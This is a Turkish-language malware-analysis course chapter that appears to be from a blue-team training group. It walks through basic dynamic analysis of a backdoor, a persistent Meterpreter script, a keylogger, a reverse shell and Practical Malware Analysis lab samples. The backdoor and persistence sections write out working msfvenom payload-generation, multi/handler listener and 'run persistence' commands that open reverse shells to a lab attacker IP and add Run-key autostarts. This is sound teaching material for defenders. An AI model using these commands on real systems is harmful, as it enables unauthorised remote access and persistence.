SlideShare a Scribd company logo
BÖLÜM 4
MALWARE
TEMEL
DİNAMİK
ANALİZ
BACKDOOR TEMEL DİNAMİK ANALİZ
Backdoor temel dinamikzararlıanaliz
Herkese merhabadeğerliTHTailesi bukonumdasizlere Backdooradlıyani türkçe'si ile Arkakapı
virüsününtemel dinamikanalizini gerçekleştireceğim.Herkese faydalıolmasıdileğiyle...
Temel dinamikanalizinde kullanacağımızaraçlar:
1.Processexplorer
2.Procmon(Processmonitor)
3.Wireshark
Bu araçlardan kısaca bahsedeyim.
1.Processexplorernedir?
Processexplorerişletim sistemimizde çalışanişlemleri yani programları,ramkullanımlarınıve cpugibi
süreçlerintakibini yapabileceğimizportable programıdır.
2.Procmon(Processmonitor) nedir?
Procmonbir diğeradı ile processmonitortümdosyasistemi aktivitelerini anlıkolarakizleyip,takip
edip,analizini yapabileceğimizgelişmişbirprogramdır.
3.Wiresharknedir?
Wiresharkağ sorunlarınıgiderme,ağpaketlerini izleme ve çözümlemegibi birçokseçeneksunan
profesyonel açıkkaynakkodlubiraraçtır.
Backdoor diye birkavramdandabahsettik.Peki backdoornedir?
Örnekolarakbir sisteme sızdınız.Sızdığınızsistemdekalıcılığıhedefliyorolabilirsinizbununiçin
backdooradlı virüsükarşı sisteme atıpistediğinizbirzamandiliminde yenidenosisteme erişim
sağlayabilirsiniz.Yani sistemitekrardanistismaretmenizegerekkalmayacaktır.
Kullanacağımişletimsistemleri WindowsXPve Backbox Linux.Analizimi yapacağımsistemWindows
XP,Saldırganmakinemise Backbox Linux işletimsistemi.
Senaryoyukısacaözetleyecek olursak:
İlkönce Backbox Linux işletimsistemimdemsfvenomile birtane virüsoluşturupWindowsXP
makineme atacağım.VirüsüattıktansonraBackbox Linux işletimsistemimde m3tasploit'e geçerek
dinleme işlemine başlayacağım, WindowsXPmakinemdevirüslü exedosyasınaçifttıklayacağımve
Backbox Linux işletimsistemimde birtane meterpreteroturumudüşecek.Meterpreteroturumu
düştüktensonram3tasploit'de bulunanmeterpreter'ınözelliği olanpersistence adlıözelliğikullanıp
WindowsXPmakinemdeBackdoor oluşturmayıhedefliyorum.Bizde asıl analizimizi,oluşturulan
Backdoor üzerinde yapacağız.
Senaryoyudaözetlediğimizegöre artıkgerekli adımlarabaşlayabiliriz.
Önceliklemsfvenomile birtane virüsoluşturuyorum:
Kod:
msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.190.140 LPORT=4444 -f exe -o
/home/backbox/Desktop/malware.exe
Yukarıdaki koddamsfvenomile "windows/meterpreter/reverse_tcp"adlıpayload'ıseçtik.Seçtikten
sonra LHOST kısmına yerel ağdabulunduğumipadresimiverdimve LPORTyazankısmaysavirüsün
dinleyeceğiportadresini verdimyani "4444" portunuverdim."-f"yazankısmavirüsümünhangi
uzantıda ya da hangi dosyabiçiminde olacağınısöyledim."-o"yazankısmaise virüsümünçıktıolarak
nereye oluşacağınıverdim.Virüsümüzü oluşturduktansonrabuvirüsüWindowsXPsanal makinesine
atmamız gerekecek.Bununiçinsaldırganmakinemizde şukoduyazıyorum:
Kod:
python-mhttp.server80
Burada pythonile "http.server"modülükullanılarak80portu üzerindendosyapaylaşımı
yapıyorum.Busayede WindowsXPmakinemize"malware.exe"adlıvirüslüdosyamızı
indirebileceğiz.Şimdi WindowsXPmakineme geçipvirüslüdosyayıindiriyorum:
İndirdiktensonraBackbox Linux işletimsistemimegeçipmsfconsoleile alttakikodlarıyazıyorum ve
dinleme işlemine başlıyorum:
Kod:
use exploit/multi/handler
setpayloadwindows/meterpreter/reverse_tcp
setLHOST 192.168.190.140
setLPORT 4444
run
WindowsXPsanal makinemde indirdiğimizvirüslüdosyayaçifttıklıyorumve Backbox Linux işletim
sistemimizdebirtane meterpreteroturumueldeediyoruz:
Elde ettiktensonrabizbusistemde arkakapıbırakmayı hedefliyordukdeğilmi.Bununiçin
meterpreteroturumumuzaşukoduyazmamızgerekecektir:
Kod:
Run persistence-U-i 5 -p6666 -f 192.168.190.140
"-i"parametresi ile kaçsaniyedebirbizimipadresimizebağlantıgerçekleştirileceğini yazdım."-p"
yazan kısım hangi port üzerindenbackdooradlıvirüsünhangi portüzerindenbizimipadresimize
bağlantısağlayacağını yazdım ve "-f"parametresi ile de kendiipadresimiyazdım.Şimdi bukomutu
çalıştıralım:
Evetgörüldüğüüzere Backdooradlıvirüsümüzkarşıyaoluşturulmuşoldu.ŞimdiWindowsXP
makineme geçipprocessexplorer,procmonve wiresharkadlıaraçlarımı açıp analizişlemine
başlıyorum:
Evetgörüldüğüüzere bizimprocessexploreraracımabaktığımda malware.exe adlıvirüslüdosyanın
altındacsscript.exe açılmışonunaltındada bizimoluşturduğumuzbackdoor'ugörüyoruz.Şimdi
burada csscript.exe adlıdosyanınaltındabulunan backdoordosyanınüzerine mouseile gelipsağtık
yapıp Propertiesdiyorumyani buşekilde dosyanınözelliklerine bakmışolacağız:
Propertiesdediktensonra"tcp/ip"bölümüne gelipvahimdurumugörüyoruz.Bizimkendipc'mizin
local adresindenbaşkabircihazın4444 portununipadresine bağlantıkurulduğunugörüyoruz.Başka
bir cihazdedimçaktırmayın;).Ve buprogramkendini5saniye de biryenileyerekbağlantı
kuruyor.Buradabackdoorolduğunubirkere gözönünde bulunduruyoruz.Sonrasındaözellikler
kısmında bulunanstringsbölümüne geliyorumve programıniçinde bulunanstring'leri gezerken
gözüme 3 tane mavi ile işaretlediğimdll dosyasıtakılıyor:
Bu üç dll dosyasınıdaaçıklayalım:
ADVAPI32.dll:Budll dosyasıAdvancedWindows32Base APIdosyatürüdür.Budll dosyasıgenellikle
OperatingSystemyazılımındakullanılır.Windowsişletimsisteminde kullanılırve dinamikbağlantı
kitaplığıdosyasıdır.
WSOCK32.dll:Wsock32.dll dosyası,birDinamikBağlantıKitaplığı(DLL) dosyatürü olarakkabul edilir.
wsock32.dll gibi DinamikBağlantıKitaplığıdosyaları,aslındasapisvr.exe gibi yürütülebilir(EXE)
dosyalarıiçinbilgileri ve talimatlarıkaydedenbir"kılavuzkitaptır".
WS2_32.dll: Ws2_32.dll dosyası,birDinamikBağlantıKitaplığı(DLL) dosya türüolarak kabul edilir.
Yukarıda saydığım 3 dll dosyasıda bağlantıdosyaları.WS2_32.dll ve ADVAPI32.dll dosylarıgenellikle
zararlı yazılımlardasık rastlanılabiliyor.
Şimdi procmonaracımı açıp processname filtresi uygulayarakbackdooryazılımınıntümregister
aktivitelerini görebiliyorum:
Bakın sol tarafta gösterilenmavi ileişaretlediğimzamanaktiviteleri,sağtaraftamavi ile işaretlediğim
yerise WindowsXPmakinesininlocal adresindenBackbox Linuxişletimsistemininipadresine tcp
bağlantısıgerçekleştiriyor.Bakın2dakikaiçerisinde22 kere tcp bağlantısıgerçekleştirmişve process
yani backdoor'umuzkapanmışve sonrasındayenidenbackdoorkendini restartedipbusaydığım
aktiviteleri gerçekleştiriyor.Buşekildesürekli birdöngüoluşturularakistediğimizbirzamandiliminde
yenidenosisteme erişimimkanıtanıyorbackdoorbize.
Şimdi de wiresharkaracınageçelim:
Burada tcp filtrelemesini yapıyorum.Daharahatanalizyapabilmekiçin:
Burada kırmızı ile gösterilen yerlerbağlantınınbaşarısızolduğuanlamınageliyorgri olanyerlerise
bağlantınınbaşarılı olduğunugösteriyor.Mavi ile aldığımyere bakarsakgörüldüğüüzere tcpbağlantısı
gerçekleştirliyorve kendi local hostumuzdan,saldırganipadresine tcpbağlantısıgerçekleştiriliyor.Bir
tane paketinüzerine gelelimve incelemeyebaşlayalım:
959.paketinüzerine geldimve incelemeyebaşladımburadasource yazankısım bağlananyer,
destinationyazanyerise bağlanılanyeranlamınageliyor.BuradaWindowsXPmakinemizsaldırganın
ipadresine bağlantıgerçekleştiriyor.
Protokolümüzüntcpolduğunusöylüyorburadada.
Konumuzunsonunageldik.Esenlikler...
KALICI METERPRETER DİNAMİK ANALİZ
Kalıcı Meterpreter Dinamik Zararlı Analizi
Senaryonun Özeti;
1. Metasploit ile meterpreter oturumu elde etmek
2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma
3. Oluşturulan vbs script'in dinamik analizinin yapılması
Lab ortamı Kali Linux 2021.1, windows 8.1
1.Metasploit ile meterpreter oturumu elde etmek
Basic bir örnekle meterpreter oturumu elde edeceğiz. Aşamaları tek tek aşağıda belirteceğim...
Öncelikle Meterpreter Nedir?
Meta-Interpreter'in kısaltılmışı olan meterpreter modül destekli ileri düzey bir Metasploit
payload çeşitidir. Karşı bilgisayarda çalışan gelişmiş bir komut satırı desek yanlış söylemiş
olmayız. Meterpreter hard diske yazma işlemi yapmaz, RAM üzerinde çalışır. Meterpreter
payloadı, Metasploit ile şifreli bir şekilde iletişim kurmaktadır. Buradaki hedef kurban
bilgisayarda minimum iz bırakmadır. Meterpreter çalışırken üzerine yeni modüller eklenebilir
örnekte yapacağımız persistance modülü gibi.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5432 -f
exe -o blue.exe
Açıklama;
-p //-- payload belirttik.
-f //-- çıktının hangi formatta olacağı,
-o //-- oluşturduğumuz payload'ın ismini,
LHOST //-- Saldırgan makinenin adresi,
LPORT //-- İletişime geçilecek portu belirtiyoruz.
Ardından oluşturduğumuz payloadı /var/www/html adresine kopyaladık ve local ağdaki tüm
makinelere açık hale getirdik
ve tabi unutmadan, bu işlemin gerçekleşmesi için apache2 sunucumuzu aktif hale getirmemiz
gerekmekte. Kontrol etmek için service --status-all yapabilirsiniz.
Daha sonra msfconsole ile metasploite giriş yapalım. Payload tarafından gelen paketleri
exploit/multi/handler ile yakalayacağız.
exploit/multi/handler aslında tüm platformlar için geçerli bir dinleme modülü.
tekrardan;
set LHOST //-- Saldırgan makinenin adresi,
set LPORT //-- İletişime geçilecek portu belirtiyoruz.
ve
set payload ... //-- ile payload belirttik.
exploit veya run ile dinlemeye başlayalım.
Herhangi bir şekilde kurban bilgisayarımızda payload çalıştığı andan itibaren meterpreter
oturumumuz açılmış olacaktır.
Herhangi bir sosyal mühendislik saldırısı ile kurban sistemde payloadı çalıştırdık ve
meterpreter oturumu elde ettik.
Şimdi ise kalıcılığı sağlayalım..
2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma
Kalıcılık neden önemli? Yukarıda elde ettiğimiz meterpreter oturumu malesef kalıcı bir
oturum değil. Herhangi bir ağ bağlantısı hatası veya kurban makinenin kapatılması vb gibi
durumlarda meterpreter oturumunu kaybedebiliriz.
Bu örnekte persistence modülü ile kalıcılığı sağlayacağız fakat kalıcılık bir çok farklı yöntem
ile elde edilebilir. Bu yöntemlerden birkaçı;
 Backdoor
 Direct Code Injection
 S4U Persistence (Scheduled Persistence)
 registry-persistence modulü
Şimdi Persistence modülü ile kalıcığı sağlamaya geçelim. Meterpreter oturumunda iken
yapmamız gereken..
run persistence -A -U -i 30 -p 5432 -r 192.168.1.200
Açıklama;
-A //-- Multi/Handler modulü ile eşleşen script kurbanda etkinleştirildiğinde otomatik
bağlantı yapmaya olanak sağlar
-U //-- Hedef alınan kullanıcı bilgisi verilir. Biz tüm kullanıcılar için etkinleştirdik.
-i //-- Sıradan bir payload sadece ilk çalıştığı anda kendi sunucusuna bağlantı isteği
gönderir. Bu parametre sayesi ile belirtilen saniye aralığında multi/handler modulüne
bağlantı isteği gönderir.
-p //-- Port bilgisi
-r //-- (Metasploit)Handler modülünün çalıştığı ip adres bilgisi
Yeşil ile çevrelenmiş alanda görüldüğü üzere Temp dosyası altına hKRRGj.vsb scripti
oluşturdu. Default olarak temp dosyasının altına oluşturuluyor eğer istersek -L parameteresi
ile konum bilgisi verilebilir.
Ayrıca bu scripti çalıştıracak kayıt anahtarı da(FauiknGLDcwlqY)
SoftwareMicrosoftWindowsCurrentVersionRun içerisine eklendi.
Yani sistem her açılışında otomatik olarak çalışacaktır.
3. Oluşturulan vbs script'in dinamik analizinin yapılması
Malware Dinamik Analiz Nedir?
Özetle Malware'in statik analiz sonrası(en sağlıklısı budur) izole edilmiş ortamda
çalıştırılarak çeşitli araçlar yardımı ile etkilerinin incelenmesidir.
İlk olarak ağ hareketlerinden başlayalım. hKRRGj.vsb isimli scriptimiz bilgisayarda çalışır
durumda iken NetworkMiner aracımızı açıyoruz.
Host sekmesinde dikkatimizi çeken bir olay var. 192.168.1.200 numaralı ip'den TCP 5432
numaralı porttan bir veri alışverişi var. Bu ip bilindiği üzere saldırgan makinenin ip adresiydi.
Wireshark aracında da "tcp.port == 5432" ile de 5432 numaralı port incelenebilir.
Burada size göstermek istediğim bir olay var. Bu olay aslında sistemde bir persistence
modelinin olduğunu bize kanıtlamaktadır.
Wireshark'ta Statistics > I/O Graphs bölümüne gelelim. Bilindiği gibi oluşturduğumuz vbs
scripti her 30 saniyede bir bağlantı isteği gönderecekti. Burada yaklaşık 150 saniye boyunca
saldırgan makineden herhangi dinleme yapılmadı. Görüldüğü gibi yaklaşık 30 saniyede bir
TCP bağlantı hatası ile karşılaşılmış yani TCP Errors almış bu 150 saniye içinde 4 kez
tekrarlanmış. (Kırmızı ile belirtilen yerler TCP Erros kısımları, kahverengimsi kısım ise 5432
numaralı porttan geçen alışveriş.) Fakat 5. seferde bağlanılmış. Bunu nereden anlıyoruz
derseniz görüldüğü gibi bağlantının aktif olmasından dolayı yüklü bir paket artışı var ve
sonrasında bu port üzerinden alışveriş devam ettiği için kahverengimsi çizgimiz de
hareketlenmiş.
Network kısmından şimdide sistem üzerinde neler olduğuna bakalım.
Bunun kullanacağımız araçlar: Process Explorer, Process Monitor
Process Explorer
Görev yöneticisine benzerdir. Çalışan process, thread gibi bilgileri listeler. Dosyaların
çağırılma konumu ve bağlantı adresleri gibi bilgileri vermektedir.
Process Monitor
Gerçek zamanlı olarak Dosya İşlemleri, Registry kayıtları ve process thread gibi işlemleri
gösterebilir.
İkisini aynı anda açalım.
Process Explorer'da alışılmışın dışında bir şeyler var gerek ismi gerek cpu kullanımı üstüne
çift tıklayarak incelediğimizde..
TCP/IP bölümünde o meşhur ip ve portu görmekteyiz. Parçaları tek tek kafamızda oturmaya
başladı aslında.
Şimdi ise Process Monitor'e geçelim burada Process Explorer ile öğrendiğimiz
fCPcvLKpRBeF.exe dosyası ile filteleme yapalı.
Bunun için Process Monitor'de Ctrl + L ile Filter kısmına gelelim.
Burada Process ismine göre bir filtreleme yapacağımız için Process Name is
fCPcvLKpRBeF.exe olarak filtreleme işlemi yapalım.
Burada fCPcvLKpRBeF.exe ait bağlantıları ve registry kayıtlarını görmekteyiz.
Ayrıca değişik filtrelemeler ile okunan dosyaları(ReadFile), oluşturulan dosyaları(CreateFile)
incelemek mümkün.
KEYLOGGER TEMEL DİNAMİK ANALİZ
Merhaba,bu konumuzdakeyloggerzararlısınıntemel dinamikmalware analizini gerçekleştireceğiz.
İlgili keyloggerzararlısınıyani exe dosyasınıWindowsXPsistemimde çalıştıracağımve process
Explorerile ilgili süreçlerintakibiniyapacağım.
Lab03-03.exe dosyasızararlı dosyamız,kendisini çalıştırdığımızanhemensvchost.exe süreci de
oluşturuldu.Busüreçlerçalıştıktançokkısa birsüre içerisinde zararlımızsüreçlerarasındankayboldu.
Yani buşüpheli birdurumdur.İlgili exeçalışıyorve kendini 1-2saniye içerisinde yokediyor.Şimdi
svchost.exe süreciniprocessExplorerdainceleyeceğim.
Çalıştığını dizinzararlımızın bulunduğudizini gösteriyorzaten.Parentprocesskısmınadadikkat
edersenizzararlımızile ilişkisinigörebiliriz.Şimdi buradailgiliexe dosyasınaaitkarakterleri
inceleyelim.
Stringssekmesine geliyoruzalttaraftaimage seçili ikenyeralankarakterleri görüyoruz.Şimdide
bellektekikarakterlere bakalımbununiçinde memoryseçeneğini işaretliyorum.
Dikkatedersenizilkbaştadiskte yeralankarakterlerile bellekte yeralankarakterfarklı.Buradayer
alankarakterlere bakarsanızklavye girdileri,girilendeğerleri kaydetmekiçinkullanılanfonksiyonlar
ve aynı zamanda biradetde logdosyasıgörüyoruz.Yani aslında buzararlımızın netbirşekilde
keyloggeraktivitesi gerçekleştirdiğini görebiliriz.Klavye girdileri tahminenilgili logdosyasında
tutuluyor.
Bakın zararlı bulunduğudizinde logdosyasınıtutuyor.Bakalımbulogdosyasınelerkaydetmiş..
‘Blue teamsunar’klavye girdisini loglamış. Bukonumuzdatemelbirşekilde zararlısüreci analizettik
ve tuşları birlog dosyasınakaydettiğini,keyloggerözelliğitaşıdığınıanladık.
REVERSE SHELL TEMEL DİNAMİK ANALİZ
Herkesemerhabalar, Blue Team ekibimizle birlikte malware analiz eğitimlerimize devamediyoruz. Bu
hafta sizlere temel dinamik analiz tekniklerini sunuyoruz.
Temel Dinamik Analiz
Temel dinamik zararlı yazılım analizi, zararlının çalıştırılarak davranışlarının analizinin
gerçekleştirilmesidir. Temel statik analizde ise zararlıyı çalıştırmadan analiz ediyorduk ancak burada
zararlının işlevi yerinegetirilecektir. Temel dinamik analizinde zararlı herhangibir debuggervasıtasıyla
debug edilerek incelenmez. Yani buradaassemby seviyesineinilmiyor, ileri dinamik analizden farkı bu.
Buradazararlıyı sistemde çalıştıracağız ve bu zararlı ağ bağlantısı gerçekleştiriyormu, gerçekleştiriyorsa
hangiip adresleri veya domainlerle iletişim kuruyor, kayıt defteri üzerindedeğişiklikler yapıyormu, dns
aktivitesi, hangiprotokollerleiletişim kurduğu gibisorularacevap alacağız.
Zararlı executabledosyamız Windows XP makinemiz üzerindebizi bekliyor. Ben bu zararlıyı XP makinesi
üzerindeçalıştırıp çeşitli araçlar vasıtasıyla inceleyeceğim. Ama bundan öncezararlıyazılımı sanal
makinam da çalıştırmadan öncesanal makinamın yedeğini alacağım. Biz bunasnapshot diyoruz
İşaretlediğim ikona tıklayarak XP makinamızın şu anki halinin yedeğinialıyoruz vezararlı analizini
gerçekleştirdikten sonraaldığımız yedeğegeri yüklüyoruz.
Yedeğimize isim verip Take Snapshot diyerek oluşturuyoruz. Bu zararlıanalizimizi gerçekleştirirken iki
adet işletim sistemi kullanacağım bunlardan birisi Windows XP bir diğeri ise Remnux dağıtımı olacak.
Remnux, tersinemühendislik vezararlı yazılım analizleri için içerisinde birçok yazılımı hali hazırda
bulunduruyor. Bu sebepten bizdekendisinden biraz faydalanacağız. Aslındaolmasada olur ama
kullanılan bir sistem olduğundan basitçedeğinmek istiyorum. BuradaWindows XPsistemimizin DNS
ServerIP adresiniRemnux makinasının adresi olarak tanımlayacağım ve XP üzerindeçalışan zararlının
aktivitelerini Remnux üzerinden geçirerek remnux üzerindeyer alan bazıaraçlar ile analizimize destek
sağlayacağız.
İlgili ip adresini XP de DNS ServerIP adresiolarak vereceğim.
Bu şekilde kullanılan DNS sunucu adresiniRemnux makinasının IP adresiolarak verip Remnux da
dinlemeler gerçekleştireceğim.
Remnux tarafında fakedns aracını çalıştırarak XP tarafında zararlı çalıştıktan sonragerçekleşecek bir dns
sorgusu oluşmasıdurumundafakedns zımbırtısıile bunu yakalayacağız. Dahasonrabu DNS
sunucularınaWireshark üzerindeodaklanacağız.
Şimdi zararlı yazılımımızı Windows XP üzerindeçalıştırmadan öncekullanacağız üç tanearacı
başlatıyoruz. Process Explorer, Process Monitor(Procmon)ve Wireshark araçlarını başlatıyoruz.
Wireshark aracımızı çalıştırdık veağ bağlantılarını dinlemeye hazırız. Öyle hazırız ki bizim fakedns
zımbırtısı hemen belirtilerini göstermiş.
Sen diyor Wireshark açtın haberin olsun.
Diğer ikilimizde bunlar. Gördüğünüz gibişu an işletim sistemimiz üzerindeçalışan prosesleriyani
süreçleri buradan görebiliyoruz. Yazılım çalıştıktan sonraburadasüreçlerüzerinde netip olaylar
gerçekleşecek ve aynı zamandaregistery üzerindeyani kayıt defteri üzerindebu zararlı yazılım neler
gerçekleştirecek bunlarıgözlemleyeceğiz.
Aaa, az kalsın unutuyordumzararlıyazılımı çalıştırdıktan sonrabağlantının sağlanacağıtarafa yani
hackertarafına da bir gidelim dinlemeyi başlatalım. Bir takım aktiviteler gerçekleştirelim ki analizin tadı
tuzu olsun. Hem hackliyoruz, hemanaliz ediyoruz.
Zararlı yazılımı çalıştırdık ve hemen süreçlerimize bakıyoruz.
Malware.exe ben geldim diyor.
Saldırgan kardeşimiz de hoş geldin diyor, muradınaerdi tabii. Buradagördüğünüz gibireversebağlantı
kurulmuş oldu.
Saldırgan bizim masaüstümüzdecirit atıyor.
Saldırgan zararlıyı çalıştırdıktan sonraiçerde mesajdabıraktı ben geldim diye. Biz dehoş geldin diyerek
bu olayın analizini gerçekleştirelim.
Şimdi process exploreradönelim ve şu malware.exe süreciniinceleyelim.
İlgili sürecimiz 3068 process id numarasınasahip. Ayrıca bu sürecimiz Explorer.exe anasürecinden
türetilmiş, bakın parent process olarak Explorer.exe ifade ediliyor. PID: 3068 PPID:1480 bunlarıelde
ettik.
TCP/IP sekmesine baktığım zaman zararlı yazılımım belirtilen adresin 4444 portunabağlantıkuruyor
bunu daelde etmiş olduk.
İlgili adrese çift tıkladığımız zaman stack bölmesinden degördüğünüzgibimswsock.dll, WS2_32.dll
kütüphanelerinikullandığınıgörüyoruz. Neticedebirağ iletişimi sağlanıyor. Bunlarıtemel statik
analizde ele almıştık.
Buradan elde ettiğimiz bilgilerle process monitöryaniprocmon aracımıza gidelim vemalware.exe
sürecinin gerçekleştirdiği aktiviteleri inceleyelim.
Filter sekmesinden yeni bir filtre ekliyoruz. Buradasol taraftan sağadoğru açıklarsam process
isimlerinden malware.exe ait olan süreçleri banagetirmesini istiyorum.
Gördüğünüzgibimalware.exe sürecinin gerçekleştirmiş olduğu aktiviteleri ve sonuçlarınıgörebiliyoruz.
Aktiviteleri incelerken görüyoruz kizararlımız TCP bağlantıları gerçekleştirmiş ve uzak bir sunucunun
4444 portunabağlantılargerçekleştirmiş.
Bu sefer operation filtresi uygulayarak createfile aktivitelerini yani dosyaoluşturmasüreçlerini
filtreliyorum.
Bakın dosyaaktivitelerindezararlımız masaüstündeben_geldim_nbrdosyasınıyaratmış.
Şimdi debu zararlımızın ağ taraflı aktivitelerini inceleyelim. Bunun için Wireshark programını
kullanacağız.
Zararlının 4444 portunabağlantıkurduğunu burayakadartespit etmiştik. Wireshark programındabunu
filtreliyoruz. Gördüğünüz gibiSYN-SYN+ACK-ACK şeklindeüçlü el sıkışma buradagerçekleşip akış
gerçekleşmiş yani buradabağlantının kurulup alışveriş gerçekleştiğini anlıyoruz. Ayrıcailgili zararlı
sürecin TCP/IP bölgesindehangiremote adresebağlantı kurduğunugörmüştük.
İlgili adreslere bağlantıkuruyorgörüldüğü gibi.
Protokolistatistiklerine baktığımız zaman TCP üzerindeepey bir akış gerçekleşmiş. Ayrıca data
taşındığınıgörüyoruz. Zaten TCPakışında PSH ACK verilerini görmüştük yanipakettedataolduğunu veri
olduğunu bizesöylüyor.
Follow TCP stream diyerek paketleri birleştirdiğim zaman RAW formatında inceliyorum ve bazıanlamlı
fonksiyonlargözümeçarpıyor.
Bu şekilde zararlımızı çalıştırıp süreçleri, gerçekleştirdiği aktiviteleri, ağ bağlantılarını inceleyebiliriz.
Kısaca buradazararlımız hedef sistemle reverse bağlantıkuruyor.
Bu konumuzdabu kadar.
PMA LAB 03-01 TEMEL DİNAMİK ANALİZ
PMA Lab03-01 Temel Dinamik Analiz
Bu yazımızda PMA Lab03-01'in temel dinamik analizini yapıyor olacağız.
Kullanılan Araçlar: Process Explorer, Process Monitor ve Wireshark
Sistem: Windows xp sp3
Laboratuvar ortamında Process Explorer, Process Monitor ve Wireshark araçlarını açalım.
Ardından PMA Lab03-01'i çalıştıralım.
İlk olarak Process Explorer ile sistemimizde çalışan processler(süreçler) hakkında bilgi sahibi
olmayız. Özellikle de konumuz olan Lab03-01.exe hakkında...
Process Explorer'da Lab03-01.exe sürecinin üzerine tıklayıp Ctrl + D kombinasyonu ile
Lab03-01.exe sürecinin belleğe yüklediği dll görülmektedir.
Burada dikkatimizi çeken hususlar var. Öncelikle soket ile ilgili dll'ler mevcut.
En dikkat çekeni ws2_32.dll bilindiği üzere ağ ile ilgili görevleri gerçekleştiren bir dll
dosyası. Yani burada ağ üzerinde bir işlem var bunu biliyoruz.
Diğer dikkat çeken advapi32.dll bu da bilindiği üzere Hizmet yöneticisi ve kayıt defteri gibi
gelişmiş çekirdek Windows birleşenlerine erişim sağlar.
Tekrardan sürecinin üzerine tıklayıp Ctrl + H kombinasyonu ile handle'ler görülebilmektedir.
Görüldüğü gibi WinVMX32 isimli bir mutex oluşturulmuş.
Devam edelim ve Lab03-01.exe sürecinin üzerine iki kere tıklayalım karşımıza properties
sekmesi gelecektir.
Buradaki strings bölümünü inceleyecek olursak..
Dikkatimizi çeken yerlere değinmek istiyorum. İlk olarak,
SOFTWAREMicrosoftWindowsCurrentVersionRun dizinini kullanarak kendini
başlangıca alıyor. Bu zararlılarda sık görülen bir durum bilgisayar her başlatıldığında
çalışmasına olanak tanıyor.
www.praticalmalwareanalysis.com olarak adlandırılmış bir url mevcut. Zararlının iletişime
geçtiği url olarak düşünülebilir.
! This program cannot be run in DOS mode. ibaresine gelecek olursak bu ibare aslında bir
malware şüphesi uyandırabilir. Bununla ilgili güzel bir açıklama var linkini bırakıyorum.
https://twitter.com/jepayneMSFT/status/969742842410094593
CONNECT %s:%i HTTP/1.0 buradaki http başlığı ise bir http bağlantısı olduğunu
göstermekte. Yani malware bağlantı yaptığına dair kanıtları güçlendirdi.
WinVMX32 bahsetmiştik vmx32to64.exe ve VideoDriver'dan ise aşağıda bahsedeceğiz.
Ayrıca image bölümündeki verify özelliği sayesinde çalışan sürecin sisteme ait olup
olmadığını bir nevi orjinalliği kontrol edilebilmektedir.
Aşağıda Lab03-01.exe sürecinin ve sisteme ait bir sürecin karşılaştırmasını göstereceğim.
Daha net anlaşılması açısından.
Şimdi ise Process Monitor aracına geçelim.
Process Monitor sayesinde kayıt defteri, dosya işlemleri vs. gibi bilgileri takip edebileceğiz.
Ctrl + L ile filtreleme kısımını açıp pid numarası ile "PID is 2456" ve "Operation is
RegSetValue" olarak filtrelediğimiz zaman pid numarası 2456 olan sürecin registry
kayırlarını filtreleyebilmekteyiz.
Strings bölümünde de bahsetmiştik ama burada biraz daha fazla detay görebilmekteyiz.
SOFTWAREMicrosoftWindowsCurrentVersionRun sayesinde kendini başlangıca
alıyordu demiştik. Aslında buradaki durum
SOFTWAREMicrosoftWindowsCurrentVersionRun dizisinin altına VideoDriver adlı
bir anahtar eklemesidir. Değer olarak da yani başlangıçta yazılan ve başlatılan kötü amaçlı
yazılım olarak da vmx32to64.exe olarak görmekteyiz.
Wireshark ile de bir inceleme yapalım.
Yukarıda elde ettiğimiz url adresini paket detaylarında string olarak filtrelediğimizde ilgili dns
paketlerini bize göstermektedir.
PMA LAB 03-02 TEMEL DİNAMİK ANALİZ
1. sorunun kısaca meali bu zararlıyı yüklemesini nasıl yapabiliriz diye sormakta ancak bundan
önce her zamanki gibi virus totala atmak daha doğru bir hareket olacaktır belki bu DLL
dosyasını daha önceden analiz eden biri vardır veya aynı hash degerine sahip başka isimli dll
dosyaları da mevcut olabilir bu yüzden virus totala atarak başlayalım.
ilk başta bu dll dosyaları dikkatimizi çekti normalde bu kadar detaylı vermeyebilir daha
önceden birileri incelediği için gerekli notları düşmüş. Kullandığı dlller ve çalışması için bazı
parametreler.
CF daha önceden analiz edildiği daha biz analiz etmeden DLL hakkında birçok bilgiye sahip
olduk ancak bu kadarıda yeteli değil bizim için ve şimdi severekte kullanmayı çok sevdiğim
all in one tadında bir aracı kullanmaya geldi Pestudio
v
hiç uzatmadan DLL in kendini çalıştırırken yardım aldığı DLL ler ve kullandıkları
fonksiyonları görmektediz bu bilgilerin hepsi bizim için IOC verileridir ve rapor hazırlarken
bunlar önem arz etmektedir.
V
şimdi ise string kısmına gelelim Siyah ok ile gösterdiğim bize (KEYLOGGER) havası
oluşturmada
keylogger analizi konumuza baktığımızda ne demek istediğim daha net anlaşılacaktır.
Mavi ok ile gösterilen ise registry kaydını görmekteyiz Svchost görev yöneticimizde çok olan
bir exe gizlenmek için güzel bir ad kırmızı ok ise bir fonksiyon olabilir ve de cmd.exe yi de
kullanmasıda bir veri
v
şimdi ise kullanılan dll leri ve de özellikle bir linke denk geldik dos-message dediğimiz
kavram ise dll çalıştığında ekrana verilecek mesajdan bahsetmektedir.
Şimdi ise Dll dosyamız herhangi bir paketlemeye maruz kalıp kalmadığını araştıralım.
PeiD aracı ile de gördüğünüz gibi herhangi bir paketleme mevcut değil. Konumuz dinamik
analiz olduğu için kaynak kodlarını incelemeyeceğiz.
Şimdi 1. sorumuza dönecek olursak Dll nasıl yükleyeceğiz bundan önce de dinamik analiz
için gerekli ortamları hazır ettiğimizden emin olalım ProcessMonitor , Process Explorer ve
Wireshark
bu programlarımız hazır ise çalıştırmaya başlayalım.
görüldüğü üzere rundll32 yani dll çalıştırıcı ile çalıştırıyoruz kullanılan parametreyi biliyoruz
şimdi ise cmd terminalinde başlatmadan önce Process Monitor başlatıp yakala diyelim ve
hemen ardından cmd ile DLL dosyamızı yükleyelim
başladıktan bir süre sonra filtre diyerek Reg kaydı için yukarıdaki işlemleri uygulamamız
gerekiyor
evet dedikten sonra
kayıtları inceliyoruz ve oluşturulan hizmet adı dikkatimiz çekiyor string analizde de buna
rastlamıştık şu ana kadar dll i kurduk ve bu monitör sayesinde oluşturulan servis adını tespit
ettik
bu şekilde 1. sorunun , 4. sorunu ve 5. sorunun cevaplarını vermiş olduk 5 için zararlını ana
bilgisayar tabanlı göstergelerini sormuştu hizmet oluştuması bunu destekliyor.
4. soruda procmon fitrelerini kullanarak veri elde etmeyi nasıl yaparız idi kastı biz ise
bilgisayarda oluşturduğu servisin adını öğrenmiş olduk
şimdi ise gelelim 2. sorumuza bu servisi nasıl aktif edebilir
